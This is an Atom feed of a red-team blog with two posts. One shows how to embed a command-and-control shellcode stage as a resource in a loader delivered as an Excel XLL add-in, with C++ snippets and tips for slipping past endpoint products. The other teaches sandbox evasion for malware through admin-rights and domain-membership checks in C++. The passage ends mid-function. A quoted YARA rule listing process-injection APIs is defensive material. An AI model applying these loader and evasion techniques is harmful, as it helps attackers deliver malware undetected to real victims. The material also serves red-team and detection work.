<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.2.0">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" /><updated>2021-06-09T18:30:10+03:00</updated><id>/feed.xml</id><title type="html">with knowledge comes power</title><subtitle>Hi, this is Halil Dalabasmaz's personal blog. Feel free to leave feedback!</subtitle><entry><title type="html">Big Stages Implementation And Library Files</title><link href="/2021/06/08/big-stages-implementation-and-library-files.html" rel="alternate" type="text/html" title="Big Stages Implementation And Library Files" /><published>2021-06-08T16:37:00+03:00</published><updated>2021-06-08T16:37:00+03:00</updated><id>/2021/06/08/big-stages-implementation-and-library-files</id><content type="html" xml:base="/2021/06/08/big-stages-implementation-and-library-files.html">&lt;p&gt;If you have a command &amp;amp; control server running a RAT, you should protect this server from possible detections. This is one of the golden rules for OPSEC. There has been a lot of content shared on this topic lately, and researchers are detecting command &amp;amp; control servers on the internet, fetching Stages and analyzing them. Thus, they can detect many post exploitation flows. The best example of this is the research for Cobalt Strike. Stage created by Cobalt Strike has parameters to be used for all post exploitation and if you get the Stage you can get almost all the information.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Setting the &lt;em&gt;host_stage&lt;/em&gt; option to false used to degrade the product’s post-ex workflows in a noticeable way. Now, if you set this option to false, you won’t feel an impact once you have initial access. Setting this option to false has a huge OPSEC benefit as it hinders efforts to  survey team servers  and analyze their payload data.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If you have such concerns, one of the preferred ways is to embed the Stage into your Loader. In some cases, the use of long strings and large arrays can cause errors by the compiler, and your code may compile with long compilation times even if no errors occur. There are many ways to solve these problems and one of them is to add the Stage as a Resource to your binary. Thus, when your file runs, you can read its own Resource and then do the work you want to do. For example, you can run the Stage you added as a Resource into an EXE file with the following sample code.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;n&quot;&gt;HRSRC&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcodeResource&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FindResource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MAKEINTRESOURCE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IDR_RESOURCE_NAME1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;L&quot;RESOURCE_NAME&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcodeSize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SizeofResource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcodeResource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;HGLOBAL&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcodeResouceData&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LoadResource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcodeResource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;However, the code block we have provided here is valid for a sample EXE Loader. One of my personal favorite methods for Initial Access is send Loader to the target(s) with XLL file format.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;A file with the XLL file extension is an Excel Add-in file. These files provide a way to use third-party tools and functions in Microsoft Excel that aren’t natively part of the software. Excel Add-in files are similar to DLL files except that they’re built specifically for Excel.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In short, XLL files are DLL files that Excel can load. Since XLL files are actually DLL files and the Resource you will add will be the Resource of the XLL file, you need to make changes as in the code block below. Because the Resource we need to call is the Resource of the loaded XLL file, not the Resource of the Excel.exe running the Loader.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;n&quot;&gt;EXTERN_C&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IMAGE_DOS_HEADER&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__ImageBase&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;HRSRC&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcodeResource&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FindResource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;HINSTANCE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__ImageBase&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MAKEINTRESOURCE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IDR_RESOURCE_NAME1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;L&quot;RESOURCE_NAME&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcodeSize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SizeofResource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;HINSTANCE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__ImageBase&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcodeResource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;HGLOBAL&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcodeResouceData&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LoadResource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;HINSTANCE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__ImageBase&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcodeResource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;pro-tip&quot;&gt;Pro Tip&lt;/h2&gt;

&lt;p&gt;Below is the YARA rule, which contains the commonly used detection logic for XLL files.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot; data-lang=&quot;plaintext&quot;&gt;import &quot;pe&quot;

rule susp_msoffice_addins_wxll {
meta:
 author = &quot;SBousseaden&quot;
 date = &quot;11/10/2020&quot;
 description = &quot;hunt for suspicious MS Office Addins with code injection capabilities&quot;
 reference = &quot;https://twitter.com/JohnLaTwC/status/1315287078855352326&quot;
strings:
 $inj1 = &quot;WriteProcessMemory&quot;
 $inj2 = &quot;NtWriteVirtualMemory&quot;
 $inj3 = &quot;RtlMoveMemory&quot;
 $inj4 = &quot;VirtualAllocEx&quot;
 $inj5 = &quot;NtAllocateVirtualMemory&quot; 
 $inj6 = &quot;NtUnmapViewOfSection&quot;
 $inj7 = &quot;VirtualProtect&quot;
 $inj8 = &quot;NtProtectVirtualMemory&quot;
 $inj9 = &quot;SetThreadContext&quot;
 $inj10 = &quot;NtSetContextThread&quot;
 $inj11 = &quot;ResumeThread&quot;
 $inj12 = &quot;NtResumeThread&quot;
 $inj13 = &quot;QueueUserAPC&quot;
 $inj14 = &quot;NtQueueApcThread&quot;
 $inj15 = &quot;NtQueueApcThreadEx&quot;
 $inj16 = &quot;CreateRemoteThread&quot;
 $inj17 = &quot;NtCreateThreadEx&quot;
 $inj18 = &quot;RtlCreateUserThread&quot;
condition: uint16(0) == 0x5a4d and (pe.exports(&quot;wlAutoOpen&quot;) or pe.exports(&quot;xlAutoOpen&quot;)) and 3 of ($inj*)
}&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;If you examine, wlAutoOpen and xlAutoOpen values are passed for the export values of the file. This is a situation I encounter in many red team operations. Many EPPs only look at the Export section when examining XLL files and classify them as malicious because the xlAutoOpen value is passed. Keep this in mind and it’s better to use XLL files if you know what EPP technology your target is using. That’s why the information gathering section is one of the key points of any red team operation. ;)&lt;/p&gt;

&lt;p&gt;Happy hunting!&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.cobaltstrike.com/2019/12/05/cobalt-strike-4-0-bring-your-own-weaponization/&quot;&gt;Cobalt Strike 4.0 – Bring Your Own Weaponization&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://twitter.com/_rastamouse/status/1119890793198694400&quot;&gt;https://twitter.com/_rastamouse/status/1119890793198694400&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources&quot;&gt;Loading and Executing Shellcode From PE Resources&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/20041025-00/?p=37483&quot;&gt;Accessing the current module’s HINSTANCE from a static library&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/sbousseaden/YaraHunts/blob/master/hunt_susp_msoffice_addins_wxll.yara&quot;&gt;https://github.com/sbousseaden/YaraHunts/blob/master/hunt_susp_msoffice_addins_wxll.yara&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><author><name></name></author><summary type="html">If you have a command &amp;amp; control server running a RAT, you should protect this server from possible detections. This is one of the golden rules for OPSEC. There has been a lot of content shared on this topic lately, and researchers are detecting command &amp;amp; control servers on the internet, fetching Stages and analyzing them. Thus, they can detect many post exploitation flows. The best example of this is the research for Cobalt Strike. Stage created by Cobalt Strike has parameters to be used for all post exploitation and if you get the Stage you can get almost all the information.</summary></entry><entry><title type="html">Odysseus and the Trojan Horse</title><link href="/2020/09/23/odysseus-and-the-trojan-horse.html" rel="alternate" type="text/html" title="Odysseus and the Trojan Horse" /><published>2020-09-23T16:37:00+03:00</published><updated>2020-09-23T16:37:00+03:00</updated><id>/2020/09/23/odysseus-and-the-trojan-horse</id><content type="html" xml:base="/2020/09/23/odysseus-and-the-trojan-horse.html">&lt;p&gt;Today, many companies, especially large companies, use both online and offline sandbox solutions. We can say that sandbox technology is the backbone of a cyber defense center. Because malicious files are constantly coming to your company! It’s hard to find more than one “really” trained malware analyst, and even if you find the right people to do the job, they have to do it over and over again. Long story short, you need a sandbox solution and if you are already using sandbox technology, you are doing well.&lt;/p&gt;

&lt;p&gt;In the current situation of sandbox technology, sandboxes that can analyze at the hypervisor level stand out. Such sandboxes are considered to be relatively difficult to bypass. These types of sandboxes can understand the standard anti-sanbox techniques and can take counter action. If you are using a sandbox technology and this sandbox technology can analyze at the hypervisor level, you are doing the good things in right way.&lt;/p&gt;

&lt;p&gt;The way you prefer to bypass sanboxes that can perform advanced analysis and detections, such as sandboxes that analyze at the hypervisor level, is to develop malicious software that requires user interaction. For example, you can integrate the &lt;a href=&quot;https://github.com/hlldz/pickl3&quot;&gt;Pickl3&lt;/a&gt; project into your malware. When you complete the integration, Pickl3 will wait for the target user to enter the correct Windows account information. If the target user enters the correct account information, you will run your malware and “KA-BOOM!” You will probably bypass the sandbox. However, in this article, I will share a technique that I have applied and succeeded in many operations before. This technique has always reminded me of Odysseus and the Trojan Horse.&lt;/p&gt;

&lt;h2 id=&quot;mistakes-made-and-their-results&quot;&gt;Mistakes Made and Their Results&lt;/h2&gt;

&lt;p&gt;Even though the sandbox technology is advanced, companies do not tighten the operating system in the sandbox. Those who perform Red Team Operations or attackers primarily target end users. Now, let’s talk about what we can do with the system features of an average company’s end user. Below I talked about some mistakes and what we can do.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake-1:&lt;/strong&gt; Almost every sandbox runs the malware on Administrator rights while analyzing. You can develop your malware to run according to the answer to the following question; Do you have administrator rights?&lt;/p&gt;

&lt;p&gt;If it does not have Administrator rights, you can make it run and bypass the sandbox. For this, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetTokenInformation&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AllocateAndInitializeSid&lt;/code&gt; APIs will give us the necessary information. I have given the sample C ++ code below.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;isAdministrator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;HANDLE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;access_token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;PSID&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;admin_SID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;TOKEN_GROUPS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;group_token&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;SID_IDENTIFIER_AUTHORITY&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NT_authority&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SECURITY_NT_AUTHORITY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;OpenProcessToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetCurrentProcess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TOKEN_READ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;access_token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;GetTokenInformation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;access_token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;TokenGroups&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;group_token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer_size&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vector&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;group_token&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;reinterpret_cast&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TOKEN_GROUPS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;

	&lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;succeeded&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetTokenInformation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;access_token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;TokenGroups&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;group_token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;buffer_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer_size&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;CloseHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;access_token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;succeeded&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AllocateAndInitializeSid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NT_authority&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;SECURITY_BUILTIN_DOMAIN_RID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;DOMAIN_ALIAS_RID_ADMINS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;admin_SID&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;found&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;found&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;group_token&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GroupCount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;found&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EqualSid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;admin_SID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;group_token&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Groups&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Sid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;FreeSid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;admin_SID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;found&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;If you want to take the above code further, you can also check the Integrity Level of your malicious process. ;)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake-2:&lt;/strong&gt; Many companies do not install Active Directory for Sandbox’s analysis environment. Every average company has a domain and end users are included in that domain. In other words, the malware you develop will run on a system with domain integration. You can develop your malware to run according to the answer to the following question; Is the environment in which you work integrated into the domain? If the system is integrated into the domain, you can make it work and bypass the sandbox. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DsRoleGetPrimaryDomainInformation&lt;/code&gt; API can use for this . This API returns information about the domain that has been integrated. I have given the sample C ++ code below.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;isMemberOfAD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memberOfAD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FALSE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

   &lt;span class=&quot;n&quot;&gt;DSROLE_PRIMARY_DOMAIN_INFO_BASIC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dsRoleInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dwCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

